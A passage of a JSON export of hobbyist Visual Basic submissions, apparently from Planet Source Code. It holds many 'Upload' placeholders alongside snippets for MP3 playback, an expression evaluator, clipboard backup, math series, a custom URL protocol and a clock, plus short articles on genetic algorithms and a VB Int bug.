Sub"},{"WorldId":1,"id":21739,"LineNumber":1,"line":"<H2><center>Genetic Algorithms</center></H2> \nI. Introduction: \nGenetic algorithms are a revolutionary new way to use minimal computational power to handle infinitely complicated calculations. This new AI concept 'evolves' so that it does not waste ANY of your computer's memory. It is almost a very advanced trial-and-error system that filters out the incorrect 'guesses.' A programmer who can use all of these capabilities to his/her advantage will be much in demand in the software industry of the near future. \nII. The Setup of a Genetic Algorithm: \nThe three subsections (IIa through IIc) talk about the three steps the algorithm goes through. The situation is the following: there is a \"blackbox\" function that takes in eight input numbers and outputs one value. The genetic algorithm does not know what mathematical operations are conducted within the blackbox function. However, the user of the genetic algorithm tells it that he/she wishes to know the input numbers to be put in to come out with an output number (specified by the user.) \nIIa. Step 1 -- Initialization \nThe genetic algorithm (known as GA from here on) starts by making a small population of 16 'chromosomes.' These chromosomes are random 32-bit binary strings. After these 16 chromosomes are created, step 2 begins. \nIIb. Step 2 -- Fitness Calculation \nThe GA takes the chromosomes one by one and breaks the 32 binary characters down into 8 sections of 4. (i.e. 1101-0010-1101-0110-1010-0101-1010-1110) These eight sections are then decoded in regular (base-10) integers and inputted into the blackbox function. The GA then calculates how close the output for that chromosome is to the optimum target value. The closer the chromosome is to the target value the higher of a fitness value they are awarded. This process is repeated for all the chromosomes currently in the system. \nIIc. Step 3 -- Reproduction and Mutation \nAfter all the chromosomes have been evaluated, the ones with lower fitness numbers are 'exterminated' and the others are allowed to reproduce. A random crossover point between the father and mother chromosomes is chosen. For Example: \nFather: 00110101 \nMother: 01001010 \nRandom Crossover Point: 3 \nChild (three from the father, five from the mother): 00101010 \nAfter that, some children undergo random mutation where one of the binary digits is changed. Steps 2 and 3 are repeated until the results match the target number. \nIII. Final Note \nThis tutorial has only introduced the idea of genetic algorithms. In Part 2, we will explain how to program them and use them in everything from medical applications to one-time pad encryption. Thanks for your interest and we hope you'll be waiting for the next one!"},{"WorldId":1,"id":21740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21856,"LineNumber":1,"line":"Public Function Eval(expr As String)\n Dim value As Variant, operand As String\n Dim pos As Integer\n \n pos = 1\n Do Until pos > Len(expr)\n Select Case Mid(expr, pos, 3)\n Case \"not\", \"or \", \"and\", \"xor\", \"eqv\", \"imp\"\n operand = Mid(expr, pos, 3)\n pos = pos + 3\n End Select\n \n Select Case Mid(expr, pos, 1)\n Case \" \"\n pos = pos + 1\n Case \"&\", \"+\", \"-\", \"*\", \"/\", \"\\\", \"^\"\n operand = Mid(expr, pos, 1)\n pos = pos + 1\n Case \">\", \"<\", \"=\":\n Select Case Mid(expr, pos + 1, 1)\n Case \"<\", \">\", \"=\"\n operand = Mid(expr, pos, 2)\n pos = pos + 1\n Case Else\n operand = Mid(expr, pos, 1)\n End Select\n pos = pos + 1\n Case Else\n Select Case operand\n Case \"\": value = Token(expr, pos)\n Case \"&\": Eval = Eval & value\n value = Token(expr, pos)\n \n Case \"+\": Eval = Eval + value\n value = Token(expr, pos)\n Case \"-\": Eval = Eval + value\n value = -Token(expr, pos)\n \n Case \"*\": value = value * Token(expr, pos)\n Case \"/\": value = value / Token(expr, pos)\n Case \"\\\": value = value \\ Token(expr, pos)\n Case \"^\": value = value ^ Token(expr, pos)\n \n Case \"not\": Eval = Eval + value\n value = Not Token(expr, pos)\n Case \"and\": value = value And Token(expr, pos)\n Case \"or \": value = value Or Token(expr, pos)\n Case \"xor\": value = value Xor Token(expr, pos)\n Case \"eqv\": value = value Eqv Token(expr, pos)\n Case \"imp\": value = value Imp Token(expr, pos)\n \n Case \"=\", \"==\": value = value = Token(expr, pos)\n Case \">\": value = value > Token(expr, pos)\n Case \"<\": value = value < Token(expr, pos)\n Case \">=\", \"=>\": value = value >= Token(expr, pos)\n Case \"<=\", \"=<\": value = value <= Token(expr, pos)\n Case \"<>\": value = value <> Token(expr, pos)\n End Select\n End Select\n Loop\n \n Eval = Eval + value\nEnd Function\nPrivate Function Token(expr, pos)\n Dim char As String, value As String, fn As String\n Dim es As Integer, pl As Integer\n Const QUOTE As String = \"\"\"\"\n \n Do Until pos > Len(expr)\n char = Mid(expr, pos, 1)\n Select Case char\n Case \"&\", \"+\", \"-\", \"/\", \"\\\", \"*\", \"^\", \" \", \">\", \"<\", \"=\": Exit Do\n Case \"(\"\n pl = 1\n pos = pos + 1\n es = pos\n Do Until pl = 0 Or pos > Len(expr)\n char = Mid(expr, pos, 1)\n Select Case char\n Case \"(\": pl = pl + 1\n Case \")\": pl = pl - 1\n End Select\n pos = pos + 1\n Loop\n value = Mid(expr, es, pos - es - 1)\n fn = LCase(Token)\n Select Case fn\n Case \"sin\": Token = Sin(Eval(value))\n Case \"cos\": Token = Cos(Eval(value))\n Case \"tan\": Token = Tan(Eval(value))\n Case \"exp\": Token = Exp(Eval(value))\n Case \"log\": Token = Log(Eval(value))\n Case \"atn\": Token = Atn(Eval(value))\n Case \"abs\": Token = Abs(Eval(value))\n Case \"sgn\": Token = Sgn(Eval(value))\n Case \"sqr\": Token = Sqr(Eval(value))\n Case \"rnd\": Token = Rnd(Eval(value))\n Case \"int\": Token = Int(Eval(value))\n Case \"day\": Token = Day(Eval(value))\n Case \"month\": Token = Month(Eval(value))\n Case \"year\": Token = Year(Eval(value))\n Case \"weekday\": Token = WeekDay(Eval(value))\n Case \"hour\": Token = Hour(Eval(value))\n Case \"minute\": Token = Minute(Eval(value))\n Case \"second\": Token = Second(Eval(value))\n Case \"date\": Token = Date\n Case \"date$\": Token = Date$\n Case \"time\": Token = Time\n Case \"time$\": Token = Time$\n Case \"timer\": Token = Timer\n Case \"now\": Token = Now()\n Case \"len\": Token = Len(Eval(value))\n Case \"trim\": Token = Trim(Eval(value))\n Case \"ltrim\": Token = LTrim(Eval(value))\n Case \"rtrim\": Token = RTrim(Eval(value))\n Case \"ucase\": Token = UCase(Eval(value))\n Case \"lcase\": Token = LCase(Eval(value))\n Case \"val\": Token = Val(Eval(value))\n Case \"chr\": Token = Chr(Eval(value))\n Case \"asc\": Token = Asc(Eval(value))\n Case \"space\": Token = Space(Eval(value))\n Case \"hex\": Token = Hex(Eval(value))\n Case \"oct\": Token = Oct(Eval(value))\n Case \"environ\": Token = Environ$(Eval(value))\n Case \"curdir\": Token = CurDir$\n Case \"dir\": If Len(value) Then Token = Dir(Eval(value)) Else Token = Dir\n Case Else: Token = Eval(value)\n End Select\n Exit Do\n Case QUOTE\n pl = 1\n pos = pos + 1\n es = pos\n Do Until pl = 0 Or pos > Len(expr)\n char = Mid(expr, pos, 1)\n pos = pos + 1\n \n If char = QUOTE Then\n If Mid(expr, pos, 1) = QUOTE Then\n value = value & QUOTE\n pos = pos + 1\n Else\n Exit Do\n End If\n Else\n value = value & char\n End If\n Loop\n Token = value\n Exit Do\n Case Else\n Token = Token & char\n pos = pos + 1\n End Select\n Loop\n \n If IsNumeric(Token) Then\n Token = Val(Token)\n ElseIf IsDate(Token) Then\n Token = CDate(Token)\n End If\nEnd Function\n"},{"WorldId":1,"id":21860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21901,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21942,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21950,"LineNumber":1,"line":"While browsing PSC to figure out how to make an MP3 player, all I saw were big huge ZIP files with skins and stuff. After sifting through that code, I made a library to simplify the playing/pausing/stopping of MP3s. Put all this in a module called MP3Player: \n========================================== \n<pre>\nPrivate Declare Function mciSendString Lib \"winmm.dll\" Alias \"mciSendStringA\" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long\nPublic Sub PlayMP3(filename As String)\n mciSendString \"Open \" & filename & \" Alias MM\", 0, 0, 0\n mciSendString \"Play MM\", 0, 0, 0\nEnd Sub\nPublic Sub PauseMP3()\n mciSendString \"Stop MM\", 0, 0, 0\nEnd Sub\nPublic Sub StopMP3()\n mciSendString \"Stop MM\", 0, 0, 0\n mciSendString \"Close MM\", 0, 0, 0\nEnd Sub</pre> \n========================================== \nWhen playing a file, if it has spaces in the name, be sure to surround it with Chr(34)!\nIf you can't figure out how to use those, then you obviously aren't worthy of using them :)"},{"WorldId":1,"id":21953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21956,"LineNumber":1,"line":"'Declaring the SendMessage API - To send a Message to other Windows\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Const LB_SETHORIZONTALEXTENT = &H194\n'Set the Horizontal Bar to 2 times its Width\nDim lngReturn As Long\nDim lngExtent As Long\n lngExtent = 2 * (Form1.List1.Width / Screen.TwipsPerPixelX)\n lngReturn = SendMessage(Form1.List1.hWnd, LB_SETHORIZONTALEXTENT, _\n lngExtent, 0&)"},{"WorldId":1,"id":21960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21978,"LineNumber":1,"line":"Function getExcel(rowval As Integer, columnval As String, excelfile As String)\nDim excelSheet As Object 'Excel Sheet object\n \n 'Create an instance of Excel by file name\n Set excelSheet = CreateObject(excelfile)\n mycell$ = columnval & rowval\n getExcel = excelSheet.activesheet.range(mycell$).Value\n 'Retrieve the result using the cell by row and column\n Set excelSheet = Nothing 'release object\n \nEnd Function"},{"WorldId":1,"id":21982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21998,"LineNumber":1,"line":"'Sin(x) function\n'Note: this is in radians, not degrees\nPublic Function Sine(x as Double) as Double\nDim i As Integer, sum As Double: sum = 0\n'Calculate the taylor expansion of sin\nFor i = 1 To 10\n sum = sum + (((-1) ^ (i + 1)) * ((x) ^ (2 * i - 1)) / fact(2 * i - 1))\nNext i\nSine=sum\nEnd Function\n'e^(x) function\nPublic Function e(x as Integer) as Double\nDim i As Integer, sum As Double: sum = 0\n'Calculate the Taylor expansion of e\nFor i = 0 To 150\n sum = sum + (x ^ i) / fact(i)\nNext i\ne=sum\nEnd Function\n'Pi function\nPublic Function pi() as Double\nDim i As Integer, sum As Double: sum = 0\nFor i = 1 To 15000\n sum = sum + ((-1) ^ (i + 1)) * (1 ^ (2 * i - 1)) / (2 * i - 1)\nNext i\npi = sum * 4\nEnd Function\n'Function that calculates factorials\nPublic Function fact(n As Integer) As Double\nDim i As Long, r As Double: r = 1\nIf n = 0 Then fact = 1\nFor i = 1 To n\n r = i * r\nNext i\nfact = r\nEnd Function"},{"WorldId":1,"id":22003,"LineNumber":1,"line":"Private Sub DebugNote(ByVal DebugString As String)\nIf IsDebuggerPresent Then\n Call OutputDebugString(DebugString)\nEnd If\nEnd Sub"},{"WorldId":1,"id":22005,"LineNumber":1,"line":" Update: \nAlready since submitting the article (About an hour ago), there has been a lot of feedback and we've collectively found the following things: \n1) The problem only appears in the IDE. \n2) The FIRST time you use Int in the IDE, it works correctly. Subsequent calls return incorrect results. \nThanks to Sean Street for his feedback. \nI'm going to clear out some of the comments to lessen the confusion now that we seem to have a better grip on the problem. \nOriginal Article Follows: \nProblem: While tracing through some game code the other day, I noticed a wrong number. I very carefully evaluated every part of the statement, and discovered that the bug lay within the Int function itself. You can reproduce this in the immediate window in one line.\n \nGo to the Immediate (Debug) window and type the following: \n? Int(0.7 * 10) \nIt will say 6. EXCUSE ME? The integer of 7 is six? If you put 7 in the parenthesis, you will get the answer 7. It is only when you pass a calculation into the function that the results come back wrong. \nThe truly amazing part is that Microsoft has alrady found and fixed this bug once before. Way back in version 4. Check out this KB article: \n<A href=\"http://support.microsoft.com/support/kb/articles/Q138/5/22.asp\">http://support.microsoft.com/support/kb/articles/Q138/5/22.asp</A> \nSolution: \nWell, I guess we wait for Microsoft to fix it AGAIN, but in the meantime we can write a function to \"wrap\" the int function so that you are not passing it a calculation any more. I've called mine mInt for \"Make Integer\" because CInt is already taken (And by the way, behaves differently as I'll describe below). \nPublic Function mInt(ByVal Value As Double) As Integer \n┬á┬ámInt = Int(Value) \nEnd Function \nBy passing the calculation into this function, we are forcing it to evaluate down into a single variable (Value). This seems to eliminate the problem. \nAs I said above you can't just use CInt instead of Int because they act differently. In immediate mode type the following: \n? CInt(4.5) \nYou get 4, right? Now type: \n? CInt(4.6) \nYou get 5. CInt rounds numbers when converting them, so it's useless for replacing Int which simply truncates the fractional portion of a number. \nRant: This sort of bug is simply unacceptable. To get incorrect results from one of the basic, fundamental building blocks of a language calls the reliability of the whole language into question. \nGet this, Microsoft doesn't even PRETEND that they are going to acknowledge your bug report any more. Most companies respond to bug reports, but M$ doesn't even have a spot on the form to put your email address any more. This guarantees that you'll never get so much as a \"Thank you\" from the evil empire. I can also pretty much guarantee that you won't see this bug acknowledged on the website until it has been fixed. \nMG2"},{"WorldId":1,"id":22006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22008,"LineNumber":1,"line":"\n1. make a Form called frmDebug\n2. add a textbox called txtDebug (multiline+scrollbar(s))\n3. Add a Module and Copy this into the module:\n\nOption Explicit\nPublic ShowDebugWindow As Boolean\n\nPublic Function DebugPrint(DebugStr As String)\n If ShowDebugWindow = True Then\n frmDebug.Show\n frmDebug.txtDebug = frmDebug.txtDebug & vbCrLf & \"[\" & Time & \"] \" & DebugStr\n Else\n frmDebug.Hide\n End If\nEnd Function\n\n\n\nFor those who read this but don't understand what to do exactly: \n1. Add a Form to the project (Form1)\n2. Add a button into Form1\n3. (Click) Code for the button is:\n\nPrivate Sub Command1_Click()\n ShowDebugWindow = True\n DebugPrint \"Button clicked!\"\nEnd Sub\n\nwhen you run yer program (startup object is Form1) press the button and the DebugWindow will popup!\n\nGood Luck!\nhttp://start.at/iseekyou"},{"WorldId":1,"id":22010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22017,"LineNumber":1,"line":"Public Function SendMail(ByVal MailAddress As String, ByVal MailSubject As String, ByVal MailBody As String, ByVal MailAttach As String)\n ShellExecute 0&, vbNullString, \"mailto: \" & MailAddress & _\n \"&subject=\" & MailSubject & _\n \"&body=\" & MailBody & _\n \"&attach=\" & Chr(34) & MailAttach & Chr(34) _\n , vbNullString, vbNullString, vbHide\nEnd Function\n"},{"WorldId":1,"id":22020,"LineNumber":1,"line":"'***********************************************************\n' This code only allows numbers along with one decimal\n' point in text box named txtNumber. Also allow backspace.\n'***********************************************************\n \n If KeyAscii > 47 And KeyAscii < 58 Or KeyAscii = 8 Or KeyAscii = 46 Then\n If KeyAscii = 46 Then\n If InStr(txtNumber.Text, \".\") Then\n KeyAscii = 0\n Exit Sub\n Else\n txtNumber.Text = txtNumber.Text\n End If\n Else\n End If\n \n Else\n KeyAscii = 0\n End If\n"},{"WorldId":1,"id":22024,"LineNumber":1,"line":"'\\\\ APIClipboard class ---------------------------\nOption Explicit\nPublic ParenthWnd As Long\nPrivate myMemory As ApiGlobalmemory\nPrivate mLastFormat As Long\nPublic Property Get BackedUp() As Boolean\n BackedUp = Not (myMemory Is Nothing)\n \nEnd Property\n'\\\\ --[Backup]------------------------------------------------------\n'\\\\ Makes an in-memory copy of the clipboard's contents so that they\n'\\\\ can be restored easily\n'\\\\ ----------------------------------------------------------------\nPublic Sub Backup()\nDim lRet As Long\nDim AllFormats As Collection\nDim lFormat As Long\n'\\\\ Need to get all the formats first...\nSet AllFormats = Me.ClipboardFormats\nlRet = OpenClipboard(ParenthWnd)\nIf Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\nEnd If\nIf lRet Then\n If AllFormats.Count > 0 Then\n '\\\\ Get the first format that holds any data\n For lFormat = 0 To AllFormats.Count - 1\n lRet = GetClipboardData(lFormat)\n If lRet > 0 Then\n Set myMemory = New ApiGlobalmemory\n Call myMemory.CopyFromHandle(lRet)\n '\\\\ Keep a note of this format\n mLastFormat = lFormat\n Exit For\n End If\n 'clipboard\n Next lFormat\n End If\n lRet = CloseClipboard()\nEnd If\n\nEnd Sub\nPublic Property Get ClipboardFormats() As Collection\nDim lRet As Long\nDim colFormats As Collection\nlRet = OpenClipboard(ParenthWnd)\nIf Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\nEnd If\nIf lRet > 0 Then\n Set colFormats = New Collection\n '\\\\ Get the first available format\n lRet = EnumClipboardFormats(0)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n While lRet > 0\n colFormats.Add lRet\n '\\\\ Get the next available format\n lRet = EnumClipboardFormats(lRet)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n Wend\n '\\\\ Close the clipboard object to make it available to other apps.\n lRet = CloseClipboard()\nEnd If\nSet ClipboardFormats = colFormats\nEnd Property\n'\\\\ --[Restore]-----------------------------------------------------\n'\\\\ Takes the in-memory copy of the clipboard object and restores it\n'\\\\ to the clipboard.\n'\\\\ ----------------------------------------------------------------\nPublic Sub Restore()\nDim lRet As Long\nIf Me.BackedUp Then\n lRet = OpenClipboard(ParenthWnd)\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Restore\", APIDispenser.LastSystemError)\n End If\n If lRet Then\n myMemory.AllocationType = GMEM_FIXED\n lRet = SetClipboardData(mLastFormat, myMemory.Handle)\n myMemory.Free\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n lRet = CloseClipboard()\n If Err.LastDllError > 0 Then\n Call ReportError(Err.LastDllError, \"ApiClipboard:Backup\", APIDispenser.LastSystemError)\n End If\n End If\nEnd If\nEnd Sub\nPublic Property Get Text() As String\nDim sRet As String\nIf Clipboard.GetFormat(vbCFText) Then\n sRet = Clipboard.GetText()\nEnd If\nEnd Property\nPrivate Sub Class_Initialize()\nEnd Sub\n\nPrivate Sub Class_Terminate()\nSet myMemory = Nothing\nEnd Sub\n\n'\\\\ APIGlobalmemory class ------------------------\nOption Explicit\nPrivate mMyData() As Byte\nPrivate mMyDataSize As Long\nPrivate mHmem As Long\n\nPrivate mAllocationType As enGlobalmemoryAllocationConstants\nPublic Property Let AllocationType(ByVal newType As enGlobalmemoryAllocationConstants)\nmAllocationType = newType\nEnd Property\nPublic Property Get AllocationType() As enGlobalmemoryAllocationConstants\n AllocationType = mAllocationType\n \nEnd Property\n\nPrivate Sub CopyDataToGlobal()\nDim lRet As Long\nIf mHmem > 0 Then\n lRet = GlobalLock(mHmem)\n If lRet > 0 Then\n Call CopyMemory(ByVal mHmem, mMyData(0), mMyDataSize)\n Call GlobalUnlock(mHmem)\n End If\nEnd If\nEnd Sub\nPublic Sub CopyFromHandle(ByVal hMemHandle As Long)\nDim lRet As Long\nDim lPtr As Long\nlRet = GlobalSize(hMemHandle)\nIf lRet > 0 Then\n mMyDataSize = lRet\n lPtr = GlobalLock(hMemHandle)\n If lPtr > 0 Then\n ReDim mMyData(0 To mMyDataSize - 1) As Byte\n CopyMemory mMyData(0), ByVal lPtr, mMyDataSize\n Call GlobalUnlock(hMemHandle)\n End If\nEnd If\nEnd Sub\nPublic Sub CopyToHandle(ByVal hMemHandle As Long)\nDim lSize As Long\nDim lPtr As Long\n'\\\\ Don't copy if its empty\nIf Not Me.IsEmpty Then\n lSize = GlobalSize(hMemHandle)\n '\\\\ Don't attempt to copy if zero size...\n If lSize > 0 Then\n If lPtr > 0 Then\n CopyMemory ByVal lPtr, mMyData(0), lSize\n Call GlobalUnlock(hMemHandle)\n End If\n End If\nEnd If\nEnd Sub\n\n'\\\\ --[Handle]------------------------------------------------------\n'\\\\ Returns a Global Memroy handle that is valid and filled with the\n'\\\\ info held in this object's private byte array\n'\\\\ ----------------------------------------------------------------\nPublic Property Get Handle() As Long\nIf mHmem = 0 Then\n If mMyDataSize > 0 Then\n mHmem = GlobalAlloc(AllocationType, mMyDataSize)\n End If\nEnd If\nCall CopyDataToGlobal\nHandle = mHmem\nEnd Property\nPublic Property Get IsEmpty() As Boolean\n IsEmpty = (mMyDataSize = 0)\nEnd Property\nPublic Sub Free()\nIf mHmem > 0 Then\n Call GlobalFree(mHmem)\n mHmem = 0\n mMyDataSize = 0\n ReDim mMyData(0) As Byte\nEnd If\nEnd Sub\nPrivate Sub Class_Terminate()\nIf mHmem > 0 Then\n Call GlobalFree(mHmem)\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":22028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22029,"LineNumber":1,"line":"Private Sub Form_Load()\nRed = 0\nEnd Sub\nPrivate Sub Timer1_Timer()\nRed = Red + 1\nIf Red < 255 Then\nMe.ForeColor = RGB(0, Red, 0)\nElseIf Red > 254 Then\nEnd If\nlY1 = lY1 + 3\nMe.Line (0, lY1)-(Me.ScaleWidth, lY1)\nMe.Line (ly1, 0)-(Me.ScaleHeight, lY1)\nEnd Sub"},{"WorldId":1,"id":22035,"LineNumber":1,"line":"'Make a command button\n'2 text boxes\nPrivate Sub Command1_Click()\n Text1 = GetIPHostName()\n Text2 = GetIPAddress()\nEnd Sub\n"},{"WorldId":1,"id":22036,"LineNumber":1,"line":"In the Regestry <a id=\"key\" style=\"cursor:default;color:blue;\">HKEY_CLASSES_ROOT</a> Create a Key named what you want the 'protocol' to be (e.g. myapp). The '<a id=\"key\" style=\"cursor:default;color:blue;\">(Default)</a>' value for that key is a description of the protocol. A Subvalue needs to be created named '<a id=\"key\" style=\"cursor:default;color:blue;\">URLProtocol</a>' the value of this is \"\". Then create a New SubKey to the protocol Key name it '<a id=\"key\" style=\"cursor:default;color:blue;\">shell</a>', no values need to be set here. Now create a SubKey to '<a id=\"key\" style=\"cursor:default;color:blue;\">shell</a>', name this '<a id=\"key\" style=\"cursor:default;color:blue;\">open</a>', no values to set. Next create asubkey to '<a id=\"key\" style=\"cursor:default;color:blue;\">open</a>', name this '<a id=\"key\" style=\"cursor:default;color:blue;\">command</a>'. The '<a id=\"key\" style=\"cursor:default;color:blue;\">(Default)</a>' value for this key is the path to the application(e.g. c:\\program files\\myapp\\myapp.exe %1). The '<a id=\"key\" style=\"cursor:default;color:blue;\">%1</a> will return any command line params to your application, i.e. any thing after the '<a id=\"key\" style=\"cursor:default;color:blue;\">myapp://</a>' will be returned. \nThats it now you can open up your browser and type in the protocol (e.g. myapp://) and your application will launch. \nI have tested that so It does work. If you like this please post comments and vote.\nif anyone knows how to see if commands are passed please either post how in the comments or email me @ witenite87@excite.com. \nDownload a working use of this in a Win32 Whois Client. It Looks like other windows utilities like ping, ipconfig ect. It does NOT use the winsock ocx it uses winsock API. Its FREE so Get it now. <a href=\"http://camalot.virtualave.net\" target=\"_whois\">Download the WhoIs Client Here</a>"},{"WorldId":1,"id":22037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22038,"LineNumber":1,"line":"' In the name of The Almighty...\n' (C) K. O. Thaha Hussain, Systems Analyst\n' www.microcentergulf.com Manama, Bahrain\n' *** LICENSE AGREEMENT ***\n' Get permission from the author to use\n' the formulae commercially.\n' Feel free to make use of the Formulae\n' for Non-Commercial Purposes,\n' but the name of the Author should be a\n' ccompanied along with the formulae.\nOption Explicit\nDim HourLength As Integer, MinuteLength As Integer, _\n SecondLength As Integer\nDim MidX As Integer, MidY As Integer\nConst PI = 3.14159\n\nSub LengthAndCentre()\n Dim d As Integer\n If Me.ScaleWidth < Me.ScaleHeight Then\n HourLength = Me.ScaleWidth * 50 / 200 ' 50%\n MinuteLength = Me.ScaleWidth * 80 / 200 ' 80%\n SecondLength = Me.ScaleWidth * 90 / 200 ' 90%\n Else\n HourLength = Me.ScaleHeight * 50 / 200 ' 50%\n MinuteLength = Me.ScaleHeight * 80 / 200 ' 80%\n SecondLength = Me.ScaleHeight * 90 / 200 ' 90%\n End If\n MidX = Me.ScaleWidth \\ 2\n MidY = Me.ScaleHeight \\ 2\n Line1.X1 = MidX\n Line2.X1 = MidX\n Line3.X1 = MidX\n '\n Line1.Y1 = MidY\n Line2.Y1 = MidY\n Line3.Y1 = MidY\n d = Shape1.BorderWidth \\ 2\n Shape1.Left = d\n Shape1.Top = d\n Shape1.Width = Me.ScaleWidth - d * 2\n Shape1.Height = Me.ScaleHeight - d * 2\n Call Timer1_Timer 'just To avoid flicker\nEnd Sub\n\nPrivate Sub DrawDial()\n ' Procedure to draw the dial\n ' using Clock Work Formula.\n Dim I, HourX, HourY, MinuteX, MinuteY, DialLength As Integer\n Me.Cls\n If Me.ScaleWidth < Me.ScaleHeight Then\n DialLength = Me.ScaleWidth * 92 / 200 ' 92%\n Else\n DialLength = Me.ScaleHeight * 92 / 200 ' 92%\n End If\n \n 'The following loop is doing hour marking\n For I = 1 To 12\n Me.DrawWidth = 4\n HourX = DialLength * Cos(PI / 180 * (30 * I - 90)) + MidX\n HourY = DialLength * Sin(PI / 180 * (30 * I - 90)) + MidY\n PSet (HourX, HourY)\n Next I\n'The following loop is doing minute marking\n For I = 1 To 59\n Me.DrawWidth = 2\n MinuteX = DialLength * Cos(PI / 180 * (6 * I - 90)) + MidX\n MinuteY = DialLength * Sin(PI / 180 * (6 * I - 90)) + MidY\n PSet (MinuteX, MinuteY)\n Next I\nEnd Sub\n\nPrivate Sub Form_Load()\n Me.Caption = \"Thaha Hussain's Clock Work Formula\"\n Me.AutoRedraw = True\n Me.BackColor = &H80FF&\n '\n Shape1.BorderWidth = 4\n Shape1.BorderColor = vbYellow\n Line1.BorderWidth = 5\n Line2.BorderWidth = 3\n Line3.BorderWidth = 1\n Line3.BorderColor = vbRed\n '\n Timer1.Interval = 1000\n '\n Call LengthAndCentre\n Call Timer1_Timer 'just To avoid initial flicker\n '\n MsgBox \"Resize the window to resize the clock...\", , _\n \"Thaha Hussain's Clock-Work Formula\"\nEnd Sub\n\nPrivate Sub Form_Resize()\n On Error Resume Next\n Call LengthAndCentre\n Call 